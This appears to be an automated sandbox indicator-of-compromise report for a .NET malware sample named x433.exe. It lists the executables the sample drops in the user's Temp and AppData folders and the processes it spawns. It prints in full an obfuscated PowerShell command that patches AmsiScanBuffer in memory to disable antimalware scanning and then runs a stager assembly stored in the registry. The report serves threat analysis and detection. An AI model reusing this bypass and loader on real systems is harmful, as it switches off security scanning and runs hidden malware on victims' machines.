IOC Report
x433.exe

x433.exe

PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

initial sample

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\x433.exe.log

CSV text

dropped

C:\Users\user\AppData\Local\Temp\x4Shellcode.exe

PE32 executable (GUI) Intel 80386, for MS Windows

dropped

C:\Users\user\AppData\Local\Temp\x4host.exe

PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

dropped

C:\Users\user\AppData\Local\x4usb.exe

PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

dropped

C:\Users\user\Desktop\x433.exe

"C:\Users\user\Desktop\x433.exe"

C:\Users\user\AppData\Local\Temp\x4Shellcode.exe

"C:\Users\user\AppData\Local\Temp\x4Shellcode.exe"

C:\Users\user\AppData\Local\Temp\x4host.exe

"C:\Users\user\AppData\Local\Temp\x4host.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:rLleiAFHAZAE{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$OsygfxRUYuIQnc,[Parameter(Position=1)][Type]$MbVaDjEwaI)$reLCkliZwnS=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+'f'+'l'+[Char](101)+''+[Char](99)+''+'t'+''+[Char](101)+''+[Char](100)+''+'D'+'e'+[Char](108)+''+'e'+''+[Char](103)+'a'+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+[Char](77)+'e'+[Char](109)+''+[Char](111)+''+[Char](114)+'y'+'M'+'o'+[Char](100)+''+[Char](117)+'l'+'e'+'',$False).DefineType('My'+'D'+''+'e'+''+[Char](108)+''+[Char](101)+''+[Char](103)+'ate'+[Char](84)+''+'y'+'p'+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+'s'+','+''+[Char](80)+''+'u'+'bl'+'i'+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+'a'+[Char](108)+''+[Char](101)+''+'d'+','+'A'+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+[Char](67)+'la'+[Char](115)+''+'s'+','+[Char](65)+''+'u'+''+[Char](116)+''+'o'+''+[Char](67)+''+[Char](108)+'a'+[Char](115)+'s',[MulticastDelegate]);$reLCkliZwnS.DefineConstructor(''+[Char](82)+''+'T'+'S'+[Char](112)+''+[Char](101)+''+[Char](99)+''+[Char](105)+''+[Char](97)+'l'+[Char](78)+''+'a'+''+[Char](109)+'e'+[Char](44)+''+[Char](72)+''+'i'+'deByS'+'i'+''+'g'+''+[Char](44)+''+'P'+''+'u'+''+'b'+''+'l'+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$OsygfxRUYuIQnc).SetImplementationFlags(''+'R'+''+[Char](117)+''+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+',M'+[Char](97)+''+'n'+''+[Char](97)+''+'g'+''+'e'+''+'d'+'');$reLCkliZwnS.DefineMethod(''+[Char](73)+''+[Char](110)+'v'+'o'+''+'k'+''+[Char](101)+'',''+[Char](80)+''+'u'+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+[Char](72)+''+[Char](105)+'deB'+'y'+''+'S'+'i'+[Char](103)+','+'N'+'ew'+[Char](83)+''+[Char](108)+'o'+[Char](116)+''+','+'Vi'+[Char](114)+'t'+[Char](117)+''+[Char](97)+''+'l'+'',$MbVaDjEwaI,$OsygfxRUYuIQnc).SetImplementationFlags(''+'R'+''+'u'+''+'n'+''+'t'+''+'i'+'me'+[Char](44)+''+'M'+''+[Char](97)+''+'n'+''+[Char](97)+'g'+[Char](101)+''+'d'+'');Write-Output $reLCkliZwnS.CreateType();}$GGVrSjgYYZyVF=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Sy'+[Char](115)+''+[Char](116)+''+'e'+'m.'+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+'r'+''+[Char](111)+''+[Char](115)+''+[Char](111)+''+'f'+'t.Wi'+[Char](110)+'32.'+'U'+''+[Char](110)+''+'s'+'a'+[Char](102)+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+'v'+''+[Char](101)+''+'M'+'eth'+'o'+''+[Char](100)+''+'s'+'');$VrBFKSFCQkTmpL=$GGVrSjgYYZyVF.GetMethod(''+'G'+''+[Char](101)+'tPr'+[Char](111)+''+[Char](99)+''+[Char](65)+''+[Char](100)+'d'+[Char](114)+''+[Char](101)+'s'+'s'+'',[Reflection.BindingFlags](''+[Char](80)+'u'+'b'+'l'+[Char](105)+''+'c'+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+[Char](97)+'t'+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$tYvGzbpkOpfGRXdvJJH=rLleiAFHAZAE @([String])([IntPtr]);$HEnSxsRJwrbfoKRDZnGDoe=rLleiAFHAZAE @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$BvRkuAkFmTg=$GGVrSjgYYZyVF.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+[Char](100)+'ul'+[Char](101)+'H'+[Char](97)+'n'+'d'+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+'e'+''+'r'+''+[Char](110)+'e'+'l'+'32.'+[Char](100)+''+[Char](108)+''+'l'+'')));$JhuBDoUfjiRKob=$VrBFKSFCQkTmpL.Invoke($Null,@([Object]$BvRkuAkFmTg,[Object]('L'+[Char](111)+''+[Char](97)+''+'d'+''+[Char](76)+''+[Char](105)+''+[Char](98)+''+'r'+''+'a'+'r'+[Char](121)+''+[Char](65)+'')));$XcIvzGHQpacLzdWNl=$VrBFKSFCQkTmpL.Invoke($Null,@([Object]$BvRkuAkFmTg,[Object](''+'V'+''+[Char](105)+'r'+[Char](116)+''+'u'+''+'a'+''+[Char](108)+'P'+[Char](114)+''+[Char](111)+''+[Char](116)+''+'e'+''+[Char](99)+''+[Char](116)+'')));$LyzHycQ=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JhuBDoUfjiRKob,$tYvGzbpkOpfGRXdvJJH).Invoke(''+[Char](97)+'m'+[Char](115)+''+[Char](105)+''+[Char](46)+''+'d'+'l'+[Char](108)+'');$nrzKdroJBYOrdatEY=$VrBFKSFCQkTmpL.Invoke($Null,@([Object]$LyzHycQ,[Object](''+'A'+'msi'+[Char](83)+'ca'+[Char](110)+''+[Char](66)+'u'+[Char](102)+''+[Char](102)+'e'+'r'+'')));$GeTemELLqv=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XcIvzGHQpacLzdWNl,$HEnSxsRJwrbfoKRDZnGDoe).Invoke($nrzKdroJBYOrdatEY,[uint32]8,4,[ref]$GeTemELLqv);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$nrzKdroJBYOrdatEY,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XcIvzGHQpacLzdWNl,$HEnSxsRJwrbfoKRDZnGDoe).Invoke($nrzKdroJBYOrdatEY,[uint32]8,0x20,[ref]$GeTemELLqv);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+'F'+[Char](84)+''+'W'+''+[Char](65)+''+'R'+''+'E'+'').GetValue(''+[Char](120)+''+'4'+''+[Char](115)+''+[Char](116)+''+[Char](97)+''+[Char](103)+'er')).EntryPoint.Invoke($Null,$Null)"

C:\Windows\System32\conhost.exe

C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\dllhost.exe

C:\Windows\System32\dllhost.exe /Processid:{ae1c0bda-3b65-4ccd-a1ee-0c799d56cbd6}

C:\Windows\System32\winlogon.exe

winlogon.exe

C:\Windows\System32\lsass.exe

C:\Windows\system32\lsass.exe

C:\Windows\System32\svchost.exe

C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM